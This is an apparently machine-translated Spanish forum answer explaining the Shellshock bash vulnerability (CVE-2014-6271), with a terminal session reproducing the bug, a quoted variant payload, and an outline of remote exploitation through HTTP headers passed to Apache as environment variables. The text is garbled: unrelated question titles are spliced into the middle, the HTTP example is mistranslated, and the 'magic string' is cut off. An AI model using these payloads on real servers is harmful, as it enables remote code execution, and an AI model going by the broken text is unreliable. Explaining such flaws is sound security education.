Supongo que la vulnerabilidad de la que estás hablando es CVE-2014-6271.
Así es como se recrea [1], el texto seguido de #
son comentarios:
[email protected] :~/sec$ ls [email protected] :~/sec$ # See, nothing in directory [email protected] :~/sec$ env X='() { (bleh)=>\' bash -c "foofile date" bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' [email protected] :~/sec$ ls foofile [email protected] :~/sec$ #WTF! foofile was not supposed to be there [email protected] :~/sec$ cat foofile Thu Sep 25 09:19:05 IST 2014 [email protected] :~/sec$ # WTF! How did a command execute when it was not supposed to?
Cómo explotarlo de forma remota:
- ¿Hay mucha superposición entre los campos de ciberseguridad y bioinformática?
- ¿Por qué GPG / PGP no ha visto una mejor adopción del usuario?
- ¿Qué son los virus de registro de arranque maestro?
- ¿Cumple Facebook Connect PCI-DSS?
- ¿Tener un escáner de virus abre su computadora a los virus?
Una solicitud HTTP típica se ve algo así [2]:
GET / ruta? Query-param-name = query-param-value HTTP / 1.1 Anfitrión: http://www.example.com Personalizado: valor de encabezado personalizado
Cuando la solicitud se envía al servidor httpd de Apache, convertirá estas cadenas en variables ambientales como estas:
- REMOTE_HOST: http://www.example.com
- HTTP_CUSTOM: valor de encabezado personalizado
- SERVER_PROTOCOL: HTTP / 1.1
Si coloca la cadena mágica
en su solicitud y envía una solicitud HTTP como la que se muestra arriba, ¡entonces ha ejecutado algún código en el servidor remoto! () {
[1] Ejemplo de fuente de recreación: “El parche bash me parece incompleto, el análisis de funciones sigue siendo frágil. Por ejemplo, $ env X = ‘() {(a) => \’ sh -c” echo date “; cat echo”
[2] ejecución remota de código a través de bash
ACTUALIZACIÓN: ¡ Pude recrear esta vulnerabilidad de seguridad en nuestro servidor de compilación interno que ejecuta Apache httpd esta mañana!